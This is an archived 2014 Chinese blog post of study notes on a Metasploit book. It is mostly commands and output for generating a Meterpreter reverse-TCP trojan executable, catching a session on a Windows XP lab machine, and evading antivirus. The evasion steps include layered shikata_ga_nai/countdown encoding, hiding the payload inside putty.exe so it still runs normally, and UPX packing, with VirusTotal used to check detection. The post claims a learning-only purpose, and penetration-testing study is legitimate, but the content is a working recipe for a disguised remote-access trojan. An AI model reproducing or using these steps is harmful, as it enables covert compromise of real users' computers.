[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-05-19 标题某《魔鬼训练营》读书笔记msfpayload的使用及免杀工具分类操作系统 / 安全 标签metasploit·msfpayload·msfencode·upx某《魔鬼训练营》读书笔记msfpayload的使用及免杀工具msfpayload的使用方法msfencodeUPX其他参考链接笔记仅供学习交流使用请勿进行其他用途msfpayload的使用方法使用msfpayload生成payloadrootkali:~# msfpayloadUsage: /opt/metasploit/apps/pro/msf3/msfpayload[options]payload[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]OPTIONS:-hHelp banner-lList available payloads#参看可用的payloadrootkali:~# msfpayload -lFramework Payloads(335total)Name Description ---- ----------- 。。。。。。 。。。。。。#使用某个payload并且输入“O”大写字母O查看选项rootkali:~# msfpayload windows/meterpreter/reverse_tcp OName: Windows Meterpreter(Reflective Injection), Reverse TCP Stager Module: payload/windows/meterpreter/reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size:287Rank: Normal Provided by: skapemmillerhick.orgsfstephen_fewerharmonysecurity.comhdmhdmmetasploit.comBasic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique(accepted: seh, thread, process, none)LHOST10.10.10.130yesThe listen address LPORT4444yesThe listen port Description: Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload(staged)#LHOST和LPORT都是正确的直接生成可执行文件rootkali:~# msfpayload windows/meterpreter/reverse_tcp X test.exeCreated by msfpayload(http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length:287Options:{LHOST10.10.10.130}将该可执行文件上传到WinXPSP2中然后进入msf中#首先找到对应的模块msfsearch multi/handler Matching ModulesName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 exploit/multi/handler manual Generic Payload Handler 。。。。。。 msfuse exploit/multi/handler msf exploit(handler)show payloads 。。。。。。#找到和生成exe文件相对应的payloadmsf exploit(handler)setpayload windows/meterpreter/reverse_tcp payloadwindows/meterpreter/reverse_tcp msf exploit(handler)show options#查看修改选项Module options(exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options(windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique(accepted: seh, thread, process, none)LHOSTyesThe listen address LPORT4444yesThe listen port Exploit target: Id Name -- ----0Wildcard Target msf exploit(handler)setLHOST10.10.10.130 LHOST10.10.10.130 msf exploit(handler)exploit#msf开始监听后就可以在XP中执行test.exe文件就会发现渗透成功了[*]Started reverse handler on10.10.10.130:4444[*]Starting the payload handler...[*]Sending stage(769536bytes)to10.10.10.132[*]Meterpreter session1opened(10.10.10.130:4444 -10.10.10.132:1047)at2014-05-1217:44:06 0800 meterpreter#渗透成功我们用msfpayload直接生成的payload非常容易被检测为木马这里需要进行下免杀处理。先笔记个网址【 https://www.virustotal.com/zh-cn 】可以在线检测木马。msfencoderootkali:~/payloadtest# msfencode -hUsage: /opt/metasploit/apps/pro/msf3/msfencodeoptionsOPTIONS:-aoptThe architecture to encode as-boptThe list of characters to avoid:\x00\xff-coptThe number oftimesto encode the data-doptSpecify the directoryinwhichtolookforEXE templates-eoptThe encoder to use-hHelp banner-ioptEncode the contents of the suppliedfilepath-kKeep template working;run payloadinnew thread(use with -x)-lList available encoders-moptSpecifies an additional module search path-nDump encoder information-ooptThe outputfile-poptThe platform to encodefor-soptThe maximum size of the encoded data-toptThe output format: bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war-vIncrease verbosity-xoptSpecify an alternate executable template#可用的编码器rootkali:~/payloadtest# msfencode -lFramework EncodersName Rank Description ---- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic${IFS}Substitution Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1)via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal ThenoneEncoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/call4_dword_xor normal Call4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder(optimised)x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder简单的使用实例#使用msfpayload生成payload使用R关键字输出原始数据然后通过管道符号| 送到msfencode中msfencode使用shikata_ga_nai编码一次输出exe文件格式输出名称为test2.exerootkali:~/payloadtest# msfpayload windows/meterpreter/reverse_tcp R | msfencode -e x86/shikata_ga_nai -c 1 -t exe -o test2.exe[*]x86/shikata_ga_nai succeeded with size314(iteration1)#使用msfpayload生成payload使用R关键字输出原始数据将原始数据保存在test.raw文件中msfencode使用shikata_ga_nai编码一次输出exe文件格式输入数据来自test.raw输出名称为test2.exerootkali:~/payloadtest# msfpayload windows/meterpreter/reverse_tcp R test.rawrootkali:~/payloadtest# msfencode -e x86/shikata_ga_nai -c 1 -t exe -i test.raw -o test3.exe[*]x86/shikata_ga_nai succeeded with size314(iteration1)#msfencode使用shikata_ga_nai编码一次输出原始数据输入数据来自test.raw然后将输出的原始数据通过管道符号再次送到msfencode中这里在使用countdown编码一次输出exe文件格式输出名称为test4.exerootkali:~/payloadtest# msfencode -e x86/shikata_ga_nai -c 1 -i test.raw -t raw | msfencode -e x86/countdown -c 1 -t exe -o test4.exe[*]x86/shikata_ga_nai succeeded with size314(iteration1)[*]x86/countdown succeeded with size332(iteration1)#msfencode使用shikata_ga_nai编码一次输出exe文件格式输入数据来自test.raw输出名称为sickputty.exe,不使用默认的编码模板使用putty.exe作为编码模板-x 选项同时生成的sickputty.exe执行时依然可以运行putty-k选项rootkali:~/payloadtest# msfencode -e x86/shikata_ga_nai -c 1 -t exe -i test.raw -o sickputty.exe -x ./putty.exe -k[*]x86/shikata_ga_nai succeeded with size314(iteration1)UPXrootkali:~/payloadtest# upxUltimate PackerforeXecutables Copyright(C)1996-2011UPX3.08Markus Oberhumer, Laszlo MolnarJohn Reiser Dec 12th2011Usage: upx[-123456789dlthVL][-qvfk][-o file]file..Commands:-1compress faster-9compress better-ddecompress-llist compressedfile-ttestcompressedfile-Vdisplay version number-hgivemorehelp-Ldisplay software license Options:-qbe quiet-vbe verbose-oFILEwriteoutput toFILE-fforce compression of suspicious files-kkeep backup files file..executables to(de)compress Typeupx --helpformoredetailed help. UPX comes with ABSOLUTELY NO WARRANTY;fordetails visit http://upx.sf.net rootkali:~/payloadtest# upx -hUltimate PackerforeXecutables Copyright(C)1996-2011UPX3.08Markus Oberhumer, Laszlo MolnarJohn Reiser Dec 12th2011Usage: upx[-123456789dlthVL][-qvfk][-o file]file..Commands:-1compress faster-9compress better--bestcompress best(can be slowforbig files)-ddecompress-llist compressedfile-ttestcompressedfile-Vdisplay version number-hgive thishelp-Ldisplay software license Options:-qbe quiet-vbe verbose-oFILEwriteoutput toFILE-fforce compression of suspicious files --no-color, --mono, --color, --no-progress changelookCompression tuning options:--brutetry all available compression methodsfilters --ultra-brute try evenmorecompression variants Backup options: -k,--backupkeep backup files --no-backup no backup files Overlay options:--overlaycopy copy any extra data attached to thefile--overlaystrip strip any extra data attached to thefile[DANGEROUS]--overlayskip dont compress a file with an overlay Options for djgpp2/coff: --coff produce COFF output Options for dos/com: --8086 make compressed com work on any 8086 Options for dos/exe: --8086 make compressed exe work on any 8086 --no-reloc put no relocations in to the exe header Options for dos/sys: --8086 make compressed sys work on any 8086 Options for ps1/exe: --8-bit uses 8 bit size compression --8mib-ram 8 megabyte memory limit --boot-only disables client/host transfer compatibility --no-align dont align to2048bytes Optionsforwatcom/le:--leproduce LE output Optionsforwin32/pe, rtm32/pearm/pe: --compress-exports0donot compress theexportsection --compress-exports1compress theexportsection --compress-icons0donot compress any icons --compress-icons1compress all but the first icon --compress-icons2compress all but the first icon directory --compress-icons3compress all icons --compress-resources0donot compress any resources at all --keep-resourcelistdonot compress resources specified by list --strip-relocs0donot strip relocations --strip-relocs1strip relocations file..executables to(de)compress This version supports: AMD64-darwin.macho Mach/AMD64 ARMEL-darwin.macho Mach/ARMEL amd64-linux.elf linux/ElfAMD amd64-linux.kernel.vmlinux vmlinux/AMD64 arm-linux.elf linux/armel arm-linux.kernel.vmlinux vmlinux/armel arm-wince.pe arm/pe armeb-linux.elf linux/armeb armeb-linux.kernel.vmlinux vmlinux/armeb armel-linux.kernel.vmlinuz vmlinuz/armel fat-darwin.macho Mach/fat i086-dos16.com dos/com i086-dos16.exe dos/exe i086-dos16.sys dos/sys i386-bsd.elf.execve BSD/386 i386-darwin.macho Mach/i386 i386-dos32.djgpp2.coff djgpp2/coff i386-dos32.tmt.adam tmt/adam i386-dos32.watcom.le watcom/le i386-freebsd.elf BSD/elf386 i386-linux.elf linux/elf386 i386-linux.elf.execve linux/386 i386-linux.elf.shell linux/sh386 i386-linux.kernel.bvmlinuz bvmlinuz/386 i386-linux.kernel.vmlinux vmlinux/386 i386-linux.kernel.vmlinuz vmlinuz/386 i386-netbsd.elf netbsd/elf386 i386-openbsd.elf opnbsd/elf386 i386-win32.pe win32/pe m68k-atari.tos atari/tos mips-linux.elf linux/mipseb mipsel-linux.elf linux/mipsel mipsel.r3000-ps1 ps1/exe powerpc-darwin.macho Mach/ppc32 powerpc-linux.elf linux/ElfPPC powerpc-linux.kernel.vmlinux vmlinux/ppc32 UPX comes with ABSOLUTELY NO WARRANTY;fordetails visit http://upx.sf.net rootkali:~/payloadtest#简单的使用实例#使用压缩等级为5进行压缩test4.exerootkali:~/payloadtest# upx -5 test4.exeUltimate PackerforeXecutables Copyright(C)1996-2011UPX3.08Markus Oberhumer, Laszlo MolnarJohn Reiser Dec 12th2011File size Ratio Format Name -------------------- ------ ----------- -----------73802-4812865.21% win32/pe test4.exe Packed1file.其他参考链接【 http://www.offensive-security.com/metasploit-unleashed/Msfpayload 】